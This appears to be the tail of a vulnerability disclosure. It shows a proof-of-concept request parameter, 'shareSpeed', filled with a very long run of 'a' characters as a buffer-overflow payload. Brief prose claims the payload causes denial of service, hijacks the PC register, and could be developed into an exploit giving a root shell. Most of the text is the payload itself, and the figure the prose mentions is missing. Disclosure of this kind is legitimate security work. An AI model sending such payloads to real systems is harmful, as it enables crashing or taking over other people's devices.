    shareSpeed=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

Tag

#windows